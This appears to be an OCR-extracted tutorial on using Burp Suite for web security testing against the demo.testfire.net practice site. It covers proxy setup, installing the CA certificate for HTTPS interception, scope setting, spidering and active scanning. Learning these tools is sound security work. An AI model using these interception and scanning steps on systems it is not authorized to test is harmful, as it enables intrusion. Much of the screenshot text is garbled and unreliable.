Step 4: Right Click on the FoxyProxy (Fox face) icon and select newly added proxy “Use proxy “127.0.0.1:8080” for all
URLs”.

c | @ | Psearch w B & @& G

Use proxy “127.0.0.1:8080" for all URLs

Use proxy “Default” for all URLs

Completely disable FoxyProxy

Options Ctrle F2

LUICKAdd Alt+r

Use Advanced Menus

Figure 10: Selecting newly added IP to intercept the web traffic.

Voilllaaaa !!! All set with configuration.

Let's test if our configuration (Browser and Burp Suite) is working or not (which means Burp Suite is "Intercepting”

the "Request" and "Response")

Steps to check the Configurations working correctly:

Step 1: Check in Burp Suite "Intercept is on" under "Proxy" option. (If not then click on it, it will be on)

Step 2: In the browser, open http://demo.testfire.net/

Step 3: Observe that "Request" is passing through Burp Suite as shown in the below image.
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OcC oreecting x +

B Buep Sute Free Edtion v1.7.19 - Termperary Project

Burp intruder Repeater Window Help
|TuqulﬂmlSMer|Schmwer|RW|Seqmicu|Decodu|Conwu|EM|Prqecloﬁms|UsermINensi
Jterennt | HTTP history | WebSockets history | Options |

|# |Request to http /idemo testfire net 80 [65 61 137 117

| Forward | | Drop | | Interceptison ~ Acton |

GET / HTTP/1.1

Host: demo.testfire.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; tv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html, application/xhtml+xml, application/xml;qg=0.9,*/*;q=0.8
Accept-Language: en-Us,en;q=0.5

Connection: close

Upgrade-Insecure-Requests: 1

Figure 11: Request is passing through the Burp Suite proxy tool.
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| Intercept responses based on the following nes |
| Add | Enadled  Operator | Match type | Relatonshp Condtion |
ca o Content type header Matches text
T O Or Request Was modfied
o Or Request Was intercepted
Remove >
—| g Status code Does not match ¥3048
Up U And URL Is n target scope
| Down |

M Automatically update Cortent-Length header when the respanse is edted

Figure 12: Check the box "Intercept responses based on the following rules:"

Let’s check if the "Response" is getting intercepted in Burp Suite or not:
Step 1: Check in Burp Suite "Intercept is on" under "Proxy" option. (If not then click on it, it will be on)

Step 2: In the browser, open http://demo.testfire.net
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Step 3: Observe that "Request"” is passing through Burp Suite. Now click on "Forward" and observe that "Response" is
passing through Burp Suite (as shown in the below image) and again click on "Forward" (so that website opens in the

browser).

& ) Altero Mutual X +

testfire.net

7[ Burp ;u.«; Free .fdhcm ' -w - Temnporary Pm,rcd

Burp Intruder Repeater Window Help

| Target | “rony | Spider | Scanner ilntmder Repeater | Sequencer ] Decoder | Comparer | Exte
| sneseeps | HTTP nistory | webSockets history | Options |

IResponsc from http //demo testfire. net 80V [65.61.137.117) I

Forward | Drop Intercept is on i _ Action

| Raw | Headers | Hex | HTML | Render
HTTP/1.1 200 OK

Cache~Control: no-cache

Pragma: no-cache

Content~Length: 9€05

Content-Type: text/html; charsetwutf-8
Expires: -1

Server: Microsoft~-IIS/8.0
X-AspNet-Version: 2.0.50727
“=Powered-By: ASP.NET

Date: Thu, 06 Apr 2017 08:41:48 GMT

Connection: close

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en"

Figure 13: Response is passing through the Burp Suite proxy tool.

So you are ready to intercept the entire "http" website but what about the website running on "https".

Note: Observe that "Response" was not getting intercepted, so to intercept the "Response", the following

are the steps:

Step 1: In Burp Suite, navigate to Proxy > Options, under the "Intercept Server Responses".

Step 2: "Check" the "Intercept responses based on the following rules:" (Refer to the image below)
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I gc-:\gw.(c-m] C |'® a8 $ f# GO - =

& Most Visted @ Getting Stated

% Your connection is not secure

Figure 14: "https" website showing "Connection is not secure” message.

Don't worry, we just have to install the "CA certificate".

Method to Install "CA Certificate" in Browser

Step 1: In the browser, type “http://burp" and click on "CA Certificate" and click save to download the certificate.

- =] x

burp Step 1 Enter UL "™Ntp //bup” c - 4 Q o ‘ ' Q e . v E

& Meat Visted . Getting Started

Burp Suite Free Edition CA Certificate

Welcome 1o Burp Suite Free Edition Opening cacert.der x -, N ; - et

You have choten to cpen: g, ;;

—p Cacertder
which i der File (973 bytes)
feoone betpc/burp

What should Feefox do with ths file?
() Qpen with frowse..
(@) SeveFle

Figure 15: Installation of CA Certificate in the browser.

Step 2: Click on the "Option" icon (3 parallel lines (right end corner) and select option "options".

Step 3: Click on the "Advanced" option > select "Certificates" > Select "View Certificates" under "Requests" a window

will open.
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Advanced M = B

Requests - Foll Woore
v ) M _,w"

PO | &
. ¥ Optrom idd

e
M Cumomoe ¢

Figure 16: Installing Burp Suite CA Certificate.

Step 4: Click on "Import" > select the certificate from the folder where it has been saved (Downloads folder) > a win-

dow will appear to check all the “check boxes” and click “OK”

€ aboutpreferences®advanced . “ T8 ¢

B Most Visted @ Getting Started

Certficate Manager

You Bave been atked 10 trant 2 new Cortfcate Authorty (CA)
o

Do you want 10 st ‘PenSemgger CA” fer the followng puposes’
& Toust thes CA to dertdy webstes.
£ Toust thes CA to identidy emad woers

Tous? thes CA 10 dlentdy software develogers

Betore trusting thes CA for any putpose. you should examune its comdicate and 25 polcy and
{ Commesce B precedures (f avalable

Vew Exarrare (A centhicnte

Figure 17: Installing CA Certificate by giving all the Trust Certificate Authority.

Step 5: Navigate to “https://www.google.co.in/” and observe that "https" websites are easily opening in the browser.

Step 6: Click on "Intercept is off” to make it on, again open/navigate "https://www.google.co.in/", and observe that

"https" are getting intercepted in Burp Suite.

Note: All the above steps will be followed for paid/license version of Burp-Suite also.
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L3T'S STeRT SSCURITY T3STING wWiITH BURP SUITE

As we know a little on every tab present in Burp Suite, let’s begin learning every functionality in detail.

We will be security testing "http://demo.testfire.net/" web application to understand the functionality of all the tabs

present in Burp Suite.

Tools Needed:

e OS: Windows/Linux (any)
e Tool: Burp Suite (Proxy tool)
e Browser: Mozilla

e Most important: Patience and Practice
PROXY TAB

Proxy is the most important tab/component in Burp Suite.

Features of "Proxy" tab:

e Proxy allows us to intercept the web traffic's every "Request" and "Response" between browser (client) and

the server.
e Proxy also helps us to see all the "Request headers" and also the "Response Headers".
e Proxy helps in finding hidden parameters and also edits parameter values before sending to the server.

e Proxy helps in bypassing all the client side validation created by the developer in the web application.
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Burp Intruder Repeater Window Help

|Thqgn|‘in||15ﬁﬂtl IScannu'Ihtumw IRamearlSoqumcurIDBcumx IConvann IEmnndn |anxtopﬁxs IUanopﬂws IAhﬂsI
| # [Request to hitp Jidemo testiire net 80 [65.61.137.117) |

| Forward | | Drop J|Wbm|[ Action |
PmHudusHu

POST /bank/login.aspx HTTP/1.1 | Response Headers |

Host: demo.testfire.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: rv:52.0) Gecko/20100101 Firefox/5Z.0
Accept: text/html,application/xhtml+xnl,application/xml;qgw0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://demo.testfire.net/bank/login.aspx

Cookie: ASP.NET SessionId=nxlznu4500xazj45yd3y23ft; amSessionId=115143314%008
Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

uid=abcapassw=abcabtnSubmit=Login { Paramelers

Figure 18: Intercept tab with Request intercepted.

Burp Intruder Repeater Window Help

Target Spider Scavnr]tnmdu'lﬂepulu'ISequuter|Cn:odu'|Compumr|£nnndu'|Pn»unqmmnsI!kulo

|Responseho¢nm110emtestfn.net801bmkﬂognaspx [6561137.117]]

| Fowad || Op | [inewceptison || Acton |

Cache-Contrel: no-cache Headers

Pragma: no-cache

Content-Length: BE824

Content-Type: text/html; charset=utf-8
wpires: -1

Server: Microsoft-I1I1$/8.0
<-AspNet-Version: 2.0.50727
<-Powered-By: ASP.NET

Date: Fri, 07 Apr 2017 16:57:50 GMT
connection: close

<!DOCTYPE html PUBLIC "=//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xht
<htnl xmlns="http://www.w3.0rg/199%/xhtnl” xml:lang="en" >
<head id="_ctl0__ ctl0_head"><title>

Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=is0-885%9-1"><link hr
type="text/css" /><meta name="keywords" content=*Altoro Mutual Login, login, authenticat
<body style="margin-top:Spx:">

Figure 19: Intercept tab with Response intercepted.

Proxy has 4 sub options:
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Intercept: Intercept tab helps in intercepting the web traffic's every "Request" and "Response" between the browser

(client) and the server. (Refer to the above two images)

HTTP history: All intercepted traffic (Request and Response) can be quickly analyzed in this tab and also it keeps it
as a log of all the traffic.

Burp Intruder Repeater Window Melp
l‘l’uya[ﬁw]smetlscmlnmlRepeua]Seqm«lD«odulmeelenm]MM[MMIM

| intercept mmlmosocmmwlomu

Filter. Hading CSS, image and general tinary content, malchng @xpression demo testive net

s Most Method  URL Params Edited Status Length  MIME U
12 hiip (idemo testfire net GET J ) j 200 9996 HTML
22 Mipidemo testfire net GET  Markiogn aspx o o 200 9001  HTML
25 hitp ('demo testfire net POST Dankfogn aspx o U 200 5096 HTML
-

JM]P&m[Mﬁ[H&j

GET /bank/login.aspx HTTP/1.1

Most: demo.testfire.net

User-Agent: Mozilla/S5.0 (Windows NT 10.0; WOWE4: tv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtal+xnl,application/xmnl;q=0.9,%/%;q=0.8
Accept-Language: en-US,.en:q«0.5

Accept-Encoding: gzip, deflate

Referer: hitp://demo.testfive net

Cookie: ASP.NET Sessionld=nxlznudSolxazjdSyd3y2ife. amSessionId=115143314%008
Connection: close

Upgrade~Insecutre~Requests:

Figure 20: HTTP history, intercepted traffic (Request and Response) can be quickly analyzed

WebSockets: WebSockets can view, intercept and modify WebSockets messages.

Options: Proxy configuration can be modified from this tab, like Proxy Listeners, Intercept Client Requests, etc.
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[ 4
Burp Intruder Repeater Window Help

[Tm[ﬁwlsml&mirmi!!epedet.&mulDecod«iCamulEmlemmmiUwomm Neml
|u«cem[mpum]w»5ocmswm”m||

? IP'(::«',' Listeners ]

o Burp Proaxy uses ksteners 1o recene incoming HT TP requests from your browser. You will need 10 configure your browser 10 use one of the ksteney

Add | Running Interface Invisitie Redrect Cenficae
4 12700 18080 U Per-host
Ede
»
Remaove

Each nstaliabon of Burp generates s own CA certficate that Proxy ksteners can use when negotating SSL connections. You can import or expon
nstalation of Burp

Import | export CA certficate | | Regenerate CA certficate

?I Intercept Client Requests l

O Use these settings to control which requests are stalled for viewing and editing in the Intercept tab

) Intercept requests based on the folowing ndes

. AN Enabled Operator  Match type Relabonshp Condton |
(T4 Fie extenson Does not match (‘oIS paSrongSrcssSPsSincos)
Eae U Or Request Contains parameters
Remove U Or HTTP method Does not match (getipost) >
: (- And URL Is n target scope
Up

Figure 21: Customizing the proxy settings.

TARGET TAB

Setting the Scope/Target

Being a security professional or even a tester, it’s always important to set the target and scope of what we are testing. It

may be a website or even a single module in the web application or a mobile app.
HOW TO SET THE SCOPE/TARGET?

Step 1: Navigate to "http://demo.testfire.net " (Note: See "foxyproxy" add-on is on)
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Mutusd X +

S o
. c

B Moz Visted @ Geming Zarted

“‘ By Saste Froe Edtion v1.7.20 - Tervpaary Progect
Alt‘ Burp ruder Repester Window Help

Fiter. Hding not found tems, hiding CSS, image and general binary content, hading 4ax responses, hiding empty folders
ritp (\Gemo testre ret | | | Host Method  URL Params

Pip idemotestirenet  GET |

.ot by n 3%
I barkloon asps

NI CUR S C CR S

Figure 22: "Target" shows the target URL.

Step 2: Navigate to "Target" in Burp Suite > Under “Site-map” right-click on the URL (http://demo.testfire.net/), a

menu will open, select "Add to Scope" (This will define the target or scope that we are testing).

Altoro Mutual b 4 +
€ testérenet cC @

& Mot Vaited @ Getting Started
B! Burp Sute Free Edtion v1.7.20 - Temporary Pregect
Altor‘ Burp Intruder Repeater Window Help
il
Target mjsmml&m]mmlnmm]wmulo«mjmwlenm]

= ONUINE I)AMQJS'“"'”] Scope '

PERSONAL [
. Fiter Hiding not found termns, hiding CSS, image and general binary content, hiding 4xx responses, hiding er
o Checking |,
z hitp /'demo testire net . | Method URL
LE=1 1Y ‘ hitp:iidemo.testfire.net/ T
-
. | GET bank/k

Al pUsINESS Spider this host W GET CGi exe
: " i it GET default
* jlendng e ¥ ; i G default
- )
* lasucanis Engagement tools [Pro versiononly]  » [t GET Jefault
* Bstirement " GET default
2 = Compare ste maps pes e

M Expand branch r PER

IDSIRE AT CAD ML " GET defaut
* Abaut Us Expand requested tems \tss 1" g !
° Contact Us Dedete host f at defaut

Locaticog ; !
X Copy URLS in this host =
* fre13 Soom Copy links in this host e |
f— Save selected tems eLl
Sacy Pl | a9 Show new site map window r
The Ao Mutusl w Ste map help stfire.net
ste. Smilanties, # e - .e .= - ;

Figure 23: Adding target URL to "Target Scope".

Step 3: Navigate to "Scope" under Target in Burp Suite and observe under heading "Target Scope", scope

(demo.test.net) has been added or included in "Include in scope".
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‘1 Eurp Suite Free Editice v1.7.20 - Temperary Preject
Burp Intruder Repeater Window Help

ITm!lesmIScmlkm!RepemISeq«ma IDecodecICanpaetlEﬂend«‘PropctopﬁonslUseromoos!Alensl
| ste map [ scope |

2 | [Target Scope
) =

Define the n-scope targets for your current work. This configuration affects the behawior of tools throughout the sute. All fields take regex strngs
) your target and use the context menus in the site map 10 nclude or exclude URL paths

Add . Enabled Protocol Host / 1P range Pont Fie
= | @ HTTP *dermol testfre! net$ 808 e 1
Remove >
. Paste URL
Load

Figure 24: Target URL has been added to Scope.

"Include in scope" also helps us to include or add target/scope manually if you miss any URL or any other URL rather

than testing URL.
Steps for adding manually

Step 1: Click on "Add" button, a window will appear > protocol (http or https) > Host (Website URL) > Port (80 or
443) > File (Optional) and click "OK".

b
Burp Intruder Repeater Window Help
_[Tm]PINyISMef]ScmImw«[ReoeueflSequerID«oo«]Cmm[m]Pmectom Usevopumsiﬁ

| Ste map | Scope |

2| Target Scope | B Add USL to mclude in scope x
<) e,

o Define the in-scope 1argeds f 2 | Specify a regular expresson to match each URL component, or leave blank to  Selds take regex

—  easest way to configure scol‘ ' match any tem. An P range can be spechied nstead of 3 hostname le URL paths
Protocol |HTTPS i
Enabled Host of IP range  www.Qooghe ¢o.in !
o
Eot Port 4431
L eamove . Fle Enter regex e Diank >
Paste URL
e Paste URL | | OK | Cance
Add | Enabled Protocol Host / IP range Port File
v Any out
Fot B s

Figure 25: Adding target URL manually.
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B Burp Suse Free Ediion v1.7.20 - Temporary Project

Burp Intruder Repeater Window Help

| Target | Proxy | Spider | Scanner | itruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | 2
| Ste map | scope |

2| Target Scope

o Define the in-scope 1argets for your current work. This configurabion affects the behavior of tools throughout the sute. All fields 1ake regex
—  easwest way to configure scope is to browse 1o your target and use the context menus n the site map to nclude or exclude URL paths

Add _ Enabled Protocol Host / IP range Port File :
4 HTTP ‘demo\ testire' net$ 808 LA
E®_J| [@  wmes www googhe.Co n 443 |
Remove »
~ Paste URL

Add _ Enabled _ Protocol  Host /IP range Port | File !
——- v Any logout

R o Any logoll

Figure 26: Target added manually.

Select the Newly added target/scope (URL) and click "Remove", to remove the scope (if not needed). "Exclude from
scope" helps us to exclude some URLs, like Logout, Sign out, etc., so that we don't logout from the current session and

our testing may not get interrupted while scanning the target.

B
Burp Intruder Repeater Window Help
‘Tml?roxyiswai&mlnm[Repeaer]Seq.sencer[Decod«iCma[Em]Prqedom]Usams[m.

| Ste map [Scop.l
Add _ Enabled Protocol Host / IP range Pon Fike
A HTTP ‘demo\ testiire| nets ‘g0s o
Edt
__Remove :
Paste URL
Load
Add Enabled Protocol Host / IP range Port File
(T4 Arry logout
cEREY 18 Ay logoft
Remove o Any ol >
T4 Aty signout
| Paste URL
Load ...

Figure 27: Excluding some specific URL or target URLs.

Note: "Site map" also shows URLSs that are not in scope and also that have passed through Burp Suite.
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SPIDER TAB

Spider is also known as "web crawling". Spider helps to crawl all the links present in the URL if any are missed by us
while testing or maybe we can get any important link which can give the attacker good information. Spider crawls all

the links on a web page to discover both static and dynamic web resources.
Spider always crawls/fetches the links that are defined in the target/scope.

1)  Navigate to "Spider” in Burp Suite > "Control" tab under "Spider scope" heading.

‘ Burp Surte Free Edmion v1.7.20 - Temporary Progect

Burp Intruder Repeater Window Help

Target ] Proxy J Spider [ Scanner | Intruder Repeater l Sequencer Decoder Comparer | Extender 1 F

_j Control ] Options |

2

Use these settings to montor and control Burp Spider. To begin spidering, browse to the target applicatic
branch’

Spider 1s paused Clear queves

Reguests made: 0
Bytes transferred: 0
Requests queuved: 50
Forms queued 1

2% | @ Use sutte scope [defined in Target tab)

Use custom scope
Figure 28: Spider Scope option for crawling the URL within.

2)  Under Spider in Burp Suite > "Control" > "Spider status" helps us know how many "Requests made", we

can pause the current running spider, etc.
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‘ Burp Sunte Free Edition v1,7.20 - Temporary Progect

Burp Intruder Repeater Window Help
" Target ‘ Proxy ] Spider I Scanner ] Iintruder I Repeater 1 Sequencer ] Decoder [ Comparer 1 Extender 1 Project options [ Us
| Control | Options |

2 || Spider Status

Use these settings to monttor and control Burp Spider. To begin spidering, browse to the target apphcation, then right-click os
branch”

Spideris running | Clear queves |

Requests made: 20
Bytes transferred: 147 588
Requests queued: 45
Forms queved: 0

Figure 29: Spider status to pause and run the spider and also get to know the status.
3) Under "Spider Scope" > "Use custom scope" is used to add any URL we want to spider beside the target
URL (the steps are the same as adding target URL in "Include in Scope")
B
Burp Intrnuder Repeater Window Help

[Tuoﬂiﬁow[smai&mAmm 'mlmaioecow‘w«iﬁnm;ﬁq«loﬂms Usetomns[Ne
| Contrat | Options

R e = SR S _
U Use sute scope [defined in Target ta B 492 Uk 10 inchuce i scope o

pxs [e Use custom x:-:-e]

2 | Specty a regular expresson to match each URL component, or leave blank to
~ match any fem An P range can be speched nstead of a hostname

[ Ags | Enabled  Protocol Protocol Aoy %
Edt Host or IP range
Pon >
Paste URL o
Load
Paste URL OK Cancel
Agg Enabled Protocol Host / IP range Port Fie
- 4 Any ogout
dt o Any ogot!
Remove < Any ol >
< Any sgnout
Paste URL .
Load

Figure 30: To add URL manually.

4) Navigate to "Spider" in Burp Suite > "Options"

"Options" help the user to customize the crawling on URL, like what to crawl, maximum request to be sent,
Application login customization (Submit username password (for login pages) or Don't submit forms),

Number of threads (can increase or decrease), etc.
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Burp Intruder Repeater Window Help

Y Y

Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer DecoderConvaterExtender P

[

[

Crawler Settings
These settings control the way the Spuder crawis for basic web content

o Check robots txt

o Detect custom "not found” responses

W Ignore links to non-text content

o Request the root of all directonies

o) Make a non-parametenzed request to each dynamic page

Maximum nk depth 5

Maxmum parametenzed requests per URL: 50

Passive Spidering
Passive spidering monitors traffic through Burp Proxy to update the site map without making any new req

o Passwvely spider as you browse

Link depth to associate with Proxy requests: 0

Form Submission

These settings control whether and how the Spider submits HTML forms

Indmiduate forms by | Action URL, method and fields |

N N e

Figure 31: Options help in customizing the crawling.

How to Spider the target URL?

Navigate to "Target" > under "Site map" > select the target URL > right-click, menu will open, select "Spider this host"

> Click "Yes" to start the crawling.
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" Bup Swte Foee Edmon v1.7.20 - Temporary Progect
Burp Infruder Repeater Window Help

_[.a.mp.[wm |
Fiter Hiding not found tems; hiding CSS, image and general binary content, hiding 4xx responses, hiding empty folders
lidemo testfire net - Sdact Yethod  URL Params
httpoidemo.testfire net/ ! 0]
Remove from scope bank/logn aspx U
T Co exe 4

) thes e ET defaul aspox o

Passivedy scan this host ET defat aspx?contert=b o

Engagement tools [Pro version only] p IET defalt asp?contert=b I

¢ e she maps E - dofanit .\-:(-(:.jr ontere=b ﬂ

Expand branch E- :“: s :,(: t £

i e ET :.:-4:1 jt:/lerwr b o

Dedete host

Copy URLS in this host

Copy liriks in this host

Save selected tems

Show new ste map window

See map help e.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE
Firefox/52.0

Figure 32: “Spider this host” by selecting it from the menu.

Click on "small arrow" on target URL under "Site map" tab (Under "Target" in Burp Suite); observe that many URLs

have been discovered.

" Bunp Sute Free Edtion 1 7.20 - Temporary Peggect
Burp Intruder Repeater Window Help
IImlProuylSpduIScmlmlw«lm«lo«mlc«mlEnMIPﬂwmlmm
Stemap | Scope
- —— — —_—
{ Fiter Hding not found fems, hidng CSS, mage and general binary content. hudng 4xx responses, hiding emply folders
. Mip Jcreativecommons org _i Host Method | URL Params
> netp (idemo-analyec s testire net FED1I0eMo TesTre net ol DN 30O aspx &=
| Mp iderno testive net hnp idemo testire et GET Ibank/coucou. ta (]
0 s hetp iderno testfre net GET bankilogin aspx U
» & Prvacypobcy aspx hmp fidemo testire net GET banimain aspx J
» [ admin hep idemo testre net GET bank/mozxpath js ]
» [ bank hzp idemo testire net GET DAy ServereTor aspx (]
[ cgiexe hmp lidemo testfrenet GET /bank/ws. asmx (=
» & comment aspx hezp fidemo testfre net GET fbankiws asmx?WSDL W
» & defautt aspx | hmp fidemo testire et GET bank/ws asmx?disco 4
» @ disclamer htm hrp idemo testfre net  GET Ibarik/ws. asmxop=Get W
D 4 7 kaspx / [:t B e ) ~rY At beim -.—..'\--_-7._“_
[ nigh_yeld_investments hm '
& o _[Mlueaders IH@( j
[ resrement htm iy -,
‘@ search e GET / HTTE/1.1
Most: demo.testfire.net
Ry ham
D) secur User~Agent: Mozilla/S5.0 (Windows NT 10.0; WOl
= @ W—wms aspx Canba/701N01N1T Pryrafav/S™ 0
> nitp (Mpdownioad Macromeca com b' l ? | < | L + (1> Tvpe & search

Figure 33: Crawled links or URL will be seen here.

SCANNER TAB

The scanner is for vulnerability assessment of a web application. (For paid/License version)
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Scanner helps in scanning vulnerabilities in two methods:
Active Scan: Active scan or direct scanning, which involves sending more data to the server.

Passive Scan: Passive scan or indirect scan, which scans vulnerabilities passing through the proxy tool.

Bup uder Repeater Window Mdp
N'O";Mlswim MleSMCIDKMACMLE < ijptl g ;uwﬁ IM
| tssue actwty | Scam queve | Live scanmng | tssue detrmons | Optons |

2. Live Active Scanning
° Aeftorrute alty scan the followng Saepets a3 you browse Active scan chacks send vinous malcous requests desgned 10 dentdy common virmeabdtes Uise with Caution

@ Donlt scan
o Use sute scope [defined n Tarpet tab)]
W UsSe Custom scope

2. Live Passive Scanning

Autormatc ally scan the followng tepets 35 you browse Passve scan checks analyre your exsting Yafic for evndence of vuinerabdSes and do not send any new reguests 15 the tapet

e |

W Don't scan

@ Scan everythwyg

W Use sulte scope [defirnd n Tarpet Lad)
) Use custom scope

Figure 34: "Scanner" window

HOwW TO SCAN A WEB APPLICATION?

Step 1: Navigate to "Target" in Burp Suite > right-click, a menu will open, select "Actively scan this host" > click

"Next" > Click "OK" and click "Yes" (Same goes with "Passively scan this host").

4 Surp Sutte Profersionat vi.7.1

Burp ktnuder Repeater Window Help
| wanget | Proxy | Spwter | Scanner | ntruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User optior
| saemap | Scope |

-Flev Haing not found lems, hidng CSS, mmage and general binary comtent, hding 4xx responses, hding empty folders

" hitp-icreatvecommons.org Contents
> g JOMO-anavix s 1estive net Host Method URL P
4 . ar
@ hitp \'demo testfire net - } —
. rwveprrv—m—p— hitpoiidemo.testfire.net o testive ret GET / -
> hitp Mrn0tion blunted Remove from scope mo testire net GET fadmn'chents xis .)
. M recrasof coer = thes host mo testfre. net GET bank/
> http A'schemas. microst testire net GET Dank/account aspx
> MIp HSChemas. Xmisods Passively scan thes host 0 testive et GET bank/coucou 1t
» 7 hitp\www adobe com Engagement tools p[rolestienst  GET RenkAogn aspx
" Mte-IAansny aliasnnn mo testire net POST banklogn aspx
P www SO omutiag mee“cmm
" § el o mo testire net GET DHank/man aspx
> hitp 'www cert org Ew branch
. MIp \Savew s romedy £ 4 sed mo testfre. net GET bank/mozxpath js
> hite . coft " mo testire net GET Dank/ServVerermorn aspx v
Hp Swww mecrosoft ce Dedete host .
. MIP /Awww NeLSC 3pe ¢ Cooy URLS in this host : :
> : ::L WWW NCWSPapers . : in this '] Rm l i
. Hip Awww w3 org -~ -~ -
. hitp Mwww watchire cof — i Headers ] Hex |
R ® HTTP/1.1 .
View * ldemo.testtive.net h
Show new sfte map window igent: Mozilla/5.0 (Windows NT 10.0; ’
Ste map help tv:52.0) Gecko/20100101 Firvetox/52.0 r
ACCEODT !

Figure 35: Actively scanning the target URL.

Scanning can be observed under "Scanner" > "Scan queue".
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Burp intruder Repeater Window MHelp
Target | Praxy | Spider || Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

llsanacm Scan queve Lmscm{lssumlm]

|# 4 Host URL Stalus Issues | Request!
1 hiip /idemo testire net I 0% complete v
2 hitp 'demo testfire net Privacypolicy aspx 14% compiete 80
3 hitp \'demo testfire net Privacypolicy aspx 0% complete 36
4 hitp 'demo testfire net fadmend/chents xis 28% complete 1 83
5 hiip iidemo testfre net bank/ 14% comgiete B
6 hitp /'demo testfire net bank/account aspx 28% compiete
7 hitp idemo testfire net lbank/apply aspx 28% compiete 97
8 hitp /'demo testfire net fbank/coucou bt 57% compiete 180
) hitp \'demo testfire net Mhank'customize aspx 28% compiete 130
10 hitp /'demo testfire net banklogn aspx 14% compiete _ 40
1 hitp \'demo testfire net lbanklogn aspx wanng
12 hitp /'demo testfire net (bank/man aspx watng

T3 NETEm0 e e eannRnpal s wanTy
14 hitp demo testfire net bank'queryxpath aspx watng
15 hitp \'demo testfire net (bank/serverernorn aspx wanng
16 hitp 'demo testfire net (banktransachon aspx warng
17 hitp \'demo testfire net Mhankransfer aspx wanng
18 hitp Ndemo testfire net bankiws asmx wakng
19 hito 'demo testfire net bank'ws asmx watna

Figure 36: URLs getting scanned, shown in "Scan queue".

Vulnerabilities/issues can be observed and are listed under "Target" tab > "Site map" > Issues.

Burp ruder Repeater Window Help
Targen | Proxy | Spaser | Scaneme | itruder | Repeater | Sequencer | Decoder | Comparer | Extender | Promet opiices | User eptions | 1 |
Ste mep | Scope |
Flter: Hding not found deens, teding CSS, mage and general binary conent, hading 4xx responses, hadng empty folders 1_?
* © hipicresivecommaons.onp Contents Issues
> NMIp Ndemo-analytic § testire net
l ';“'.m;.m | Host Ne®od  URL | O Ceanent submussion of passward
. .'l'l: TRSoWNNHS Macromda com wmmm w ! - ! xP.xhnecmnHl
- MID Merition Bhurded ©o uk hétp idemo testire. net GET fadmen/chents xis ) ‘. s i -
> [0 hap Mrvicrosol com http idemo testirenst  GET Thank/ ©) Unencrypted communcatons
B ¥ f I : h;“‘
. 0 < Msafebe do com hitp Hidemo testire net GET bank/account aspx . Cooloe wihout HIpOnly
.- 1 :?:\ sCHemas mecrosoft com w lidemo testire net GET 'ml(umm . Cd‘m 'm “MB(!”
> @ Hps chemas xmisoen } hitp demo testire net  GET Manklogn asp * 1 Frameabie tesporse (potential Cchjackng) [3]
o 0 hiip:iwww.adsbe B hy iidero testie net POST  Manklogn aspe i Dectry kstng
» [T nitp iwww )Y’HJ al com D derro testiae net GET Mank/man asge * | Patheslatve style sheet impont [2]
> 05 Meip Awww.cen o hetp idermo testire net GET Rank/mozgath s 3
> NI AWWW. MaCEomedia Com hitp (dermo testire net GET Mank/servererion 85 v
» MID AW e rosoft com “;/ - =
. HIp MWW NeRSCape Com I_I Response ] lml Request 1Respuu]
.- MID AWww NeWSPaperSynaC aions tv
. MIp Awww. w3 ¢rg _th] Headers ] Hex ] &
. Hip Awww walchire com GET / HTTP/1.1 - Clea bmissi f
- rtext su on O passwtl
Host: demo.testfire.net
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOWEQ: rv:52.0) Gecko/20100101 Issue Cleartext submission of password
Firefox/52.0 v | Severty High
- . - Confderce Certain

Figure 37: Vulnerabilities that are discovered are shown in Issues (Site map).
Under "Scanner" > "Options", a user can customize the scan, the number of threads to be sent, etc. Scanner options

help to understand what type of values will be fuzzed as part of the active scanning mode.
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Bup truder Repeater Window Help

[ s acovty | Scam queve | Live scaneng | tssce defintcns || Op

2| Attack Insertion Points
o Place anacks mo the followng IOCatons with regquests

B URL parameter values

o) Booy parameter vahues

o) Coclue parameter values

B Pacarmeter name

B HTTP neaders

o Ertre body (Tor rebevart contert hpes)
L ANF string parameters (use with cavton)
50 URL paeh flename:

L URL path folkders

Change parameter IoCatons (CIUSES Many Mose SCan requests)

LURL e Body L URL 1 cockoe
L Body o URL L Body %o coclon
o Cooloe 0 URL . Cooloe %0 body

Nested rserton ports are used when 4 FrierBon pord's base value contans Sata n & recognued format (for example, XU dats withn & URL pararmeter)

B Use nested wesenion ponts

Naamum nserton ports per base reguest 7)0

Sop server side ngecion ests for these parameters

Figure 38: Options tan represent what all are fuzzed or testing by the scanner.

Under "Scanner” > "Issue Definitions", a user can study about all the vulnerabilities with detailed knowledge and reme-

diation.

[
Bup truder Repeter Window Help

[ Target | Proxy | Spuder | Scanome | vt | Repaster | Sequencer | Decoser | Comparer | Extender | Project opons | User options | At |

| bsswe actrvty | Scan queve | Lve scanvng | issue defistions | Optens |

Issue Definitions

Thes ksting contans he defindions of ol issues that can be detected by Bump Scanner

Name | Typsc ol severty Type mchex

OS5 command ingecton Hgh 000100400 s
SCL ngecsen Hgh 00100200

SQL ryecton (second oeder) Hgh (00100210

ASP NET racing enabled Hgh 000100280

Fio pats raversal Hgh 00100300

INL exterrad entty rgection Hgh (00100400

LDAP ngecton Hgh 000100500

P ath ryecton Hgh 000100800

MXNL rgecton MNedum (00100700

ASP NET debugpng enabled Nedum 000100300

HTTP PUT method o enabied Hgh 000100900

Out.of band resource koad (HTTH) Hgh (00100200

Fie path manpulanon Hgh 000100000

PHP code mpecion Hgh 00010000

Server . nde JyaSorgt code ryechon Hgh (00100300

Perl code ngection Hgh 00010000

oty code rpecsen High 000100000

PyPon code ingection Hgh 00100010
Expresson Language necion Hgh 00010020
Ursdertified code mgecion Hgh 000101000

Server sde templste ryection Hgh (00101080 }
SS1 ngecsen Hgh 000101 500 v

